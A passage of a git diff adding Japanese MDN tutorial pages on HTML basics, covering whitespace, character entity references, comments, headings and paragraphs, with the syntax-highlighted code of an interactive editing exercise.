token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">27</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span><span class="function token">blur</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">insertAtCaret</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> scrollPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>scrollTop<span class="punctuation token">;</span> + <span class="keyword token">var</span> caretPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>selectionStart<span class="punctuation token">;</span> + + <span class="keyword token">var</span> front <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> caretPos<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">var</span> back <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>selectionEnd<span class="punctuation token">,</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> front <span class="operator token">+</span> text <span class="operator token">+</span> back<span class="punctuation token">;</span> + caretPos <span class="operator token">=</span> caretPos <span class="operator token">+</span> text<span class="punctuation token">.</span>length<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionStart <span class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionEnd <span class="operator token">=</span> caretPos<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span><span class="function token">focus</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>scrollTop <span class="operator token">=</span> scrollPos<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="comment token">// Update the saved userCode every time the user updates the text area code</span> + +textarea<span class="punctuation token">.</span>onkeyup <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="comment token">// We only want to save the state when the user code is being shown,</span> + <span class="comment token">// not the solution, so that solution is not saved over the user code</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + solutionEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> +</div> + +<p>{{ EmbedLiveSample('Playable_code3', 700, 360, "", "", "hide-codepen-jsfiddle") }}</p> + +<h3 id="Whitespace_in_HTML" name="Whitespace_in_HTML">HTML 内の空白</h3> + +<p>上記の例において、大量の半角スペースが挿入されていることに気づいたかもしれません。大量の半角スペースはあっても無くても構わないものです。次の２つのコードスニペット (それ単体では動作しないコード例のこと) は等価です。</p> + +<pre class="brush: html"><p>Dogs are silly.</p> + +<p>Dogs are + silly.</p></pre> + +<p>半角スペースをどれ程入力しても (そして、どれ程改行しても)、 HTML パーサはそれを１つの半角スペースとして認識します。ではどうして半角スペースを沢山入力するのでしょうか。それは HTML コードの可読性を向上させるためです。 HTML のコードがいいフォーマット(書式)で記述されていて、１行の中に沢山タグをゴチャゴチャに詰め込まなければ、そのコードの中がどうなっているかが分かりやすくなります。この記事ではインデント(字下げ)として半角スペース２文字分を挿入しています。 HTML のフォーマット(例えば、インデントとして半角スペース何文字分を挿入するのか等)については HTML の書き手によって様々ですが、フォーマットを意識して記述しなければなりません。</p> + +<div class="warning"> +<p>訳者注: 全角スペースは、 HTML の文法としては半角スペースや改行とは全く異なる扱いになるので、全角スペースを用いてインデントを行ったりしないでください。また、日本語の文章を段落要素<code><p></code>の中で改行すると、半角スペースが挿入されます。</p> + +<pre><p>私は日本人です。 +四季を好みます。</p></pre> + +<p>従って、段落要素(<code><p></code>)の中では一切改行はしないでください。ただ、長い文章では段落要素の中身が横に長くなってしまいます。その場合は、テキストエディタで「右端で折り返す」などの設定を行ってみてください。</p> + +<pre><p>私は日本人です。四季を好みます。</p></pre> + +<p>段落要素の中で改行したい場合は、改行要素<code><br></code>を用います(文章内の会話や、詩などに用います)。</p> + +<pre><p>彼は言いました。<br> +「私は日本人です。四季を好みます。」<br> +私は彼の発した突然の一言にはっと驚きました。</p></pre> +</div> + +<h2 id="Entity_references_Including_special_characters_in_HTML" name="Entity_references_Including_special_characters_in_HTML">実体参照: HTML に特殊文字を含める</h2> + +<div class="note"> +<p>訳者注: HTML エンティティ、実体参照、文字参照、文字実体参照、は、それぞれほぼ同じ意味で用いられます。</p> +</div> + +<p>HTML では<code><</code>、<code>></code>、<code>"</code>、<code>'</code>、<code>&</code>の５つの文字は特殊文字と呼ばれています。これら５つの文字は HTML の文法自身の一部です。ではこれらの文字そのものを組版したい場合はどうすればいいのでしょうか。例えば「 You & Me 」や「 x < y 」等の表記をしたい場合です。</p> + +<p>そのような場合は、「文字参照」を使用する必要があります。文字参照とは「文字を表す特別なコード」のことであり、これを使うことで正確な組版を行うことができます。文字参照は必ずアンパサンド (&) で始まり、セミコロン(;)で終わります。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">実際の文字</th> + <th scope="col">等価な文字参照</th> + </tr> + </thead> + <tbody> + <tr> + <td><</td> + <td>&lt;</td> + </tr> + <tr> + <td>></td> + <td>&gt;</td> + </tr> + <tr> + <td>"</td> + <td>&quot;</td> + </tr> + <tr> + <td>'</td> + <td>&apos;</td> + </tr> + <tr> + <td>&</td> + <td>&amp;</td> + </tr> + </tbody> +</table> + +<p>次の例では Web 技術について記述している段落要素を２つ並べています。</p> + +<pre class="brush: html"><p>HTML では、<p>要素で段落を定義します。</p> + +<p>HTML では、&lt;p&gt;要素で段落を定義します。</p> +</pre> + +<p>上記の例をブラウザーに解釈させたものを下記に出力しています。１つ目の段落の出力が間違っていることが分かるかと思います。2 つ目の <code><p></code> を新しい段落の始まりとして認識しているためです。２つ目の段落は正しく出力されています。山括弧(<code><</code>、<code>></code>)を文字参照に置き換えているためです。</p> + +<p>{{ EmbedLiveSample('Entity_references_Including_special_characters_in_HTML', 700, 200, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p>脚注: HTML で使用することのできる文字実体参照のリストはこの Wikipedia の記事で確認することができます: <a class="external text" href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" rel="nofollow">List of XML and HTML character entity references</a>.</p> +</div> + +<h2 id="HTML_comments" name="HTML_comments">HTML におけるコメント</h2> + +<p>大抵のプログラミング言語同様、HTML においてもコード内にコメントを書くことができます。コメントはブラウザーによって無視されるので、組版には反映されません。コメントの目的としては、 HTML コードがどのように動作するのかや、コードの別の部分がどのように動作するのかを述べるることできます。コメントは、 HTML のコードを書いて半年以上経ってから自分で見返して、自分が何をしたのかを思い出すことができない時に大変有用となります。また、自分のコードを他の人に読んでもらう時にも有用です。</p> + +<p>HTML ファイル内の一部をコメントにするには、その箇所を特別なマーカーの <code><!--</code> と <code>--></code> で囲みます。例えば次のような感じです。</p> + +<pre class="brush: html"><p>私はコメントの外にいます。</p> + +<!-- <p>私はコメントの中にいます。</p> --></pre> + +<p>下記を見ると、最初の段落は表示されますが、次の段落は表示されないことが分かります。</p> + +<p>{{ EmbedLiveSample('HTML_comments', 700, 100) }}</p> + +<h2 id="Summary" name="Summary">要約</h2> + +<p>この記事の最後にたどり着きました — HTML のほんの初歩のツアーを楽しんでこられたことを望んでいます！ここではこの言語がどのようなものか、基本的にどうやって動作するのかを理解し、いくつかの要素と属性を書くことができるようになったでしょう。あなたがいる場所は完璧な場所です、続きの記事ではすでに見てきたことをもっと詳細に経験して、いくつか新しい言語機能を紹介します。引き続き注目！</p> + +<div class="note"> +<p><strong>脚注</strong>: さて、 HTML についてより深く学習するために <a href="/ja/docs/Learn/CSS">CSS</a> (Cascading Style Sheets)の基礎についても理解しておきましょう。 CSS はウェブページのスタイルをカスタマイズするために使用します。具体的には、テキストのフォントや色を変えたり、ページレイアウトを設定したりといったことがあげられます。 HTML と CSS は相互補完、つまり２つで１つです。両方学習するとすぐ気づくでしょう。</p> +</div> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/HTML/Applying_color">CSS を使って HTML要素に色をつける</a></li> +</ul> + +<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入門</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Head とは？HTML のメタデータ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML テキストの基礎</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">ハイパーリンクを作成する</a></li> + <li><a class="new" href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting" rel="nofollow">上級のテキスト整形</a></li> + <li><a class="new" href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure" rel="nofollow">ドキュメントとウェブサイトの構造</a></li> + <li><a class="new" href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML" rel="nofollow">HTML をデバッグする</a></li> + <li><a class="new" href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter" rel="nofollow">手紙をマークアップする</a></li> + <li><a class="new" href="https://developer.mozilla.org/ja/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content" rel="nofollow">コンテンツページを構造化する</a></li> +</ul> diff --git a/files/ja/learn/html/introduction_to_html/html_text_fundamentals/index.html b/files/ja/learn/html/introduction_to_html/html_text_fundamentals/index.html new file mode 100644 index 0000000000..c4222a362d --- /dev/null +++ b/files/ja/learn/html/introduction_to_html/html_text_fundamentals/index.html @@ -0,0 +1,717 @@ +--- +title: HTML テキストの基礎 +slug: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +tags: + - Beginner + - CodingScripting + - Guide + - HTML + - Introduction to HTML + - Learn + - Text + - headings + - paragraphs + - semantics +translation_of: Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals +--- +<div> {{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML/Creating_hyperlinks", "Learn/HTML/Introduction_to_HTML")}}</div> + +<p class="summary">HTML の役割の 1 つはテキストに構造と意味 ({{glossary("semantics", "セマンティクス")}}ともいう) を与え、ブラウザーが正しく表示できるようにすることです。この記事では {{glossary("HTML")}} を使ってテキストのページを構造化する方法、見出しとパラグラフをつけたり、言葉を強調したり、リストを作ったり、などを説明します。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提条件:</th> + <td><a href="/ja/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 入門</a>に載っている、基本的な HTML に精通していること。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>基本的なテキストページをマークアップして構造や意味を設定する方法を学ぶ — パラグラフ、見出し、リスト、強調、クォーテーションを含む。</td> + </tr> + </tbody> +</table> + +<h2 id="The_basics_Headings_and_Paragraphs" name="The_basics_Headings_and_Paragraphs">基本: 見出しとパラグラフ</h2> + +<p>たいていの構造化されたテキストは見出しとパラグラフで構成されていて、それは物語でも、新聞でも、大学の教科書でも、雑誌などでも、何を読んでいるのかにかかわらずそうです。</p> + +<p><img alt="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs." src="https://mdn.mozillademos.org/files/12371/newspaper_small.jpg" style="display: block; margin: 0px auto;" title="An example of a newspaper front cover, showing use of a top level heading, subheadings and paragraphs."></p> + +<p>構造化されたコンテンツは読み手にとって読みやすく楽しい体験になります。</p> + +<p>HTML では、各パラグラフは {{htmlelement("p")}} 要素で囲む必要があり、次のようです:</p> + +<pre class="brush: html"><p>I am a paragraph, oh yes I am.</p></pre> + +<p>それぞれの見出しは見出しの要素に囲まれます:</p> + +<pre class="brush: html"><h1>I am the title of the story.</h1></pre> + +<p>6 つの見出し要素があります — {{htmlelement("h1")}}, {{htmlelement("h2")}}, {{htmlelement("h3")}}, {{htmlelement("h4")}}, {{htmlelement("h5")}}, {{htmlelement("h6")}} です。各要素は文書内で別々のコンテンツレベルを表現します; <code><h1></code> は主な見出しで、<code><h2></code> はサブの見出しで、<code><h3></code> はサブのサブの見出しを表して、といったように。</p> + +<h3 id="Implementing_structural_hierarchy" name="Implementing_structural_hierarchy">構造的な階層を実装する</h3> + +<p>例として, 物語を考えましょう。 <code><h1></code> は物語の題名を表し、<code><h2></code> は各章の題名を表し、<code><h3></code> は各章の節を表す、といったようでしょう。</p> + +<pre class="brush: html"><h1>The Crushing Bore</h1> + +<p>By Chris Mills</p> + +<h2>Chapter 1: The dark night</h2> + +<p>It was a dark night. Somewhere, an owl hooted. The rain lashed down on the ...</p> + +<h2>Chapter 2: The eternal silence</h2> + +<p>Our protagonist could not so much as a whisper out of the shadowy figure ...</p> + +<h3>The specter speaks</h3> + +<p>Several more hours had passed, when all of a sudden the specter sat bolt upright and exclaimed, "Please have mercy on my soul!"</p></pre> + +<p>階層が意味を成す限り、関係する要素が何を意味するかは正にあなた次第です。このような構造を作成する際には、いくつかのベストプラクティスを覚えておく必要があります:</p> + +<ul> + <li>ページごとに 1 つだけ <code><h1></code> を使うのが好まれる — これは最上位の見出しで、他のすべてはそれ以下の階層に置かれる。</li> + <li>見出しが階層内で正しい順序にしておく。<code><h3></code> のサブ見出しの後に <code><h2></code> のサブサブ見出しをつけたりしない — これは意味をなさないし変な結果となる。</li> + <li>6 つの見出しレベルで、必要性を感じないかぎり、ページごとに 3以内におさえる。たくさんの階層の文章は (つまり深い見出しの階層) 大きすぎて不格好であり、移動が困難になります。そのような場合、できるだけコンテンツを複数ページに分割するのが望ましいです。</li> +</ul> + +<h3 id="Why_do_we_need_structure" name="Why_do_we_need_structure">なぜ構造が必要なのか？</h3> + +<p>この質問に答えるには、<a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/html-text-formatting/text-start.html">text-start.html</a> を見てください — この記事の動作例の開始点です (すてきなハマスのレシピです)。あとの練習で必要になるため、ローカルマシンにこのファイルのコピーを保存します。この文書の本文は現在、複数の部分のコンテンツが入っています — まったくマークアップされていませんが、改行で区切られています (次の行に移るのに Enter/Return を押します)。</p> + +<p>しかし、この文書をブラウザーで開くと、テキストが 1 つの大きな塊に見えるでしょう!</p> + +<p><img alt="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it." src="https://mdn.mozillademos.org/files/14827/Screen%20Shot%202017-03-29%20at%2009.20.35.png" style="display: block; height: 377px; margin: 0px auto; width: 600px;" title="A webpage that shows a wall of unformatted text, because there are no elements on the page to structure it."></p> + +<p>これはコンテンツの構造を与える要素がないためですので、ブラウザーはどれが見出しでどれが本文かがわかりません。さらには:</p> + +<ul> + <li>ウェブページを見ているユーザーは、関連コンテンツを探すのにざっと見たり、時には読み始めるために見出しだけを見ている傾向にあります (we usually <a class="external external-icon" href="http://www.nngroup.com/articles/how-long-do-users-stay-on-web-pages/">spend a very short time on a web page</a>)。しばらく有用なものが見つからない場合、イライラして別の場所に去っていきます。</li> + <li>ページをインデックスするサーチエンジンは、見出しのコンテンツを、ページの検索ランクに影響する重要なキーワードとみなします。見出しがないと、{{glossary("SEO")}} (検索エンジン最適化)の点で良くないでしょう。</li> + <li>極めて視覚が不自由な人はウェブページを読みません。つまりその代わりにウェブページを聞きます。これは <a class="external external-icon" href="http://en.wikipedia.org/wiki/Screen_reader" title="screen readers">スクリーンリーダー</a>というソフトウェアで実現されます。このソフトウェアはテキストコンテンツにすばやくアクセスする方法を提供します。さまざまな技術が使用される中で、文書の概要を見出しを読むことで提供し、ユーザーが必要な情報をすばやく見つけられるようにしています。見出しが見つからない場合、文書全体が読み上げられるのを聞くことになってしまいます。</li> + <li>{{glossary("CSS")}} でコンテンツをスタイリングしたり、{{glossary("JavaScript")}} で面白いことをさせるには、関連コンテンツを包んでいる要素が必要となり、それを効率的に CSS/JavaScript はターゲットとします。</li> +</ul> + +<p>このため、コンテンツに構造的なマークアップが必要となります。</p> + +<h3 id="Active_learning_Giving_our_content_structure" name="Active_learning_Giving_our_content_structure">アクティブラーニング: コンテンツに構造を与える</h3> + +<p>ライブな実例に飛び込んでみましょう。下記の実例で、入力フィールドの生テキストに要素を与え、出力フィールドに見出しと2つの段落が見えるようにしてみましょう。</p> + +<p>間違えた場合、リセットボタンでいつでもリセットできます。行き詰まったら、「<em>Show solution</em>(答えを見る)」ボタンで回答を見ます。</p> + +<div class="hidden"> +<h6 id="Playable_code" name="Playable_code">Playable code</h6> + +<pre class="brush: html line-numbers language-html"><code class="language-html"><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Live output<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>output<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">50</span>px<span class="punctuation token">;</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>h2</span><span class="punctuation token">></span></span>Editable code<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>h2</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>a11y-label<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Press Esc to move focus away from the code area (Tab inserts a tab character).<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>textarea</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>code<span class="punctuation token">"</span></span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>input<span class="punctuation token">"</span></span><span class="language-css style-attr token"><span class="attr-name token"> <span class="attr-name token">style</span></span><span class="punctuation token">="</span><span class="attr-value token"><span class="property token">min-height</span><span class="punctuation token">:</span> <span class="number token">100</span>px<span class="punctuation token">;</span> <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">95%</span></span><span class="punctuation token">"</span></span><span class="punctuation token">></span></span>My short story I am a policewoman and my name is Trish. + +My legs are made of cardboard and I am married to a fish.<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>textarea</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>playable-buttons<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>reset<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Reset<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">id</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>solution<span class="punctuation token">"</span></span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>button<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>Show solution<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>div</span><span class="punctuation token">></span></span></code></pre> + +<pre class="brush: css line-numbers language-css"><code class="language-css"><span class="selector token">html </span><span class="punctuation token">{</span> + <span class="property token">font-family</span><span class="punctuation token">:</span> sans-serif<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">h2 </span><span class="punctuation token">{</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">16</span>px<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token"><span class="class token">.a11y-label</span> </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">0</span><span class="punctuation token">;</span> + <span class="property token">text-align</span><span class="punctuation token">:</span> right<span class="punctuation token">;</span> + <span class="property token">font-size</span><span class="punctuation token">:</span> <span class="number token">0.7</span>rem<span class="punctuation token">;</span> + <span class="property token">width</span><span class="punctuation token">:</span> <span class="number token">98%</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +<span class="selector token">body </span><span class="punctuation token">{</span> + <span class="property token">margin</span><span class="punctuation token">:</span> <span class="number token">10</span>px<span class="punctuation token">;</span> + <span class="property token">background</span><span class="punctuation token">:</span> <span class="hexcode token">#f5f9fa</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span></code></pre> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> textarea <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'code'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> reset <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'reset'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solution <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById</span><span class="punctuation token">(</span><span class="string token">'solution'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> output <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'.output'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> code <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="keyword token">var</span> userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + output<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> +<span class="punctuation token">}</span> + +reset<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> code<span class="punctuation token">;</span> + userEntry <span class="operator token">=</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">;</span> + solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +solution<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'click'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span><span class="punctuation token">(</span>solution<span class="punctuation token">.</span>value <span class="operator token">===</span> <span class="string token">'Show solution'</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> solutionEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Hide solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> userEntry<span class="punctuation token">;</span> + solution<span class="punctuation token">.</span>value <span class="operator token">=</span> <span class="string token">'Show solution'</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + <span class="function token">updateCode</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="keyword token">var</span> htmlSolution <span class="operator token">=</span> <span class="string token">'<h1>My short story</h1>\n<p>I am a policewoman and my name is Trish.</p>\n<p>My legs are made of cardboard and I am married to a fish.</p>'</span><span class="punctuation token">;</span> +<span class="keyword token">var</span> solutionEntry <span class="operator token">=</span> htmlSolution<span class="punctuation token">;</span> + +textarea<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'input'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> +window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> updateCode<span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="comment token">// stop tab key tabbing out of textarea and</span> +<span class="comment token">// make it write a tab at the caret position instead</span> + +textarea<span class="punctuation token">.</span>onkeydown <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">9</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + e<span class="punctuation token">.</span><span class="function token">preventDefault</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="function token">insertAtCaret</span><span class="punctuation token">(</span><span class="string token">'\t'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> + + <span class="keyword token">if</span> <span class="punctuation token">(</span>e<span class="punctuation token">.</span>keyCode <span class="operator token">===</span> <span class="number token">27</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + textarea<span class="punctuation token">.</span><span class="function token">blur</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span> +<span class="punctuation token">}</span><span class="punctuation token">;</span> + +<span class="keyword token">function</span> <span class="function token">insertAtCaret</span><span class="punctuation token">(</span>text<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">var</span> scrollPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>scrollTop<span class="punctuation token">;</span> + <span class="keyword token">var</span> caretPos <span class="operator token">=</span> textarea<span class="punctuation token">.</span>selectionStart<span class="punctuation token">;</span> + + <span class="keyword token">var</span> front <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span><span class="number token">0</span><span class="punctuation token">,</span> caretPos<span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="keyword token">var</span> back <span class="operator token">=</span> <span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">substring</span><span class="punctuation token">(</span>textarea<span class="punctuation token">.</span>selectionEnd<span class="punctuation token">,</span> textarea<span class="punctuation token">.</span>value<span class="punctuation token">.</span>length<span class="punctuation token">)</span><span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>value <span class="operator token">=</span> front <span class="operator token">+</span> text <span class="operator token">+</span> back<span class="punctuation token">;</span> + caretPos <span class="operator token">=</span> caretPos <span class="operator token">+</span> text<span class="punctuation token">.</span>length<span class="punctuation token">;</span> + textarea<span class="punctuation token">.</span>selectionStart <span 